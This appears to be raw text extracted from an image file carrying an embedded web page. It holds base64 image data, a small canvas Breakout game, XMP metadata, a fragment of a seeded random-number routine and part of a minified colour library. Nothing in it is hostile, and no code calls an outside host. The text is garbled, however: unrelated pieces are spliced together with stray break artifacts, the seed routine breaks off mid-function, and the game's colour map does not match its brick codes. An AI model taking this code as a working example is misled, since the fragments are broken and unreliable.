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" class="background"><div class="game"><canvas width="400" height="500" id="gameM
canvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","YM
","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={M
x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(bM
all.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}brM
eak}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddM
le.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/">
         <tiff:Orientation>1</tiff:OrientationM
         <xmp:CreatorTool>Adobe ImageReady</xmp:CreatorTool>
      </rdf:Description>
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
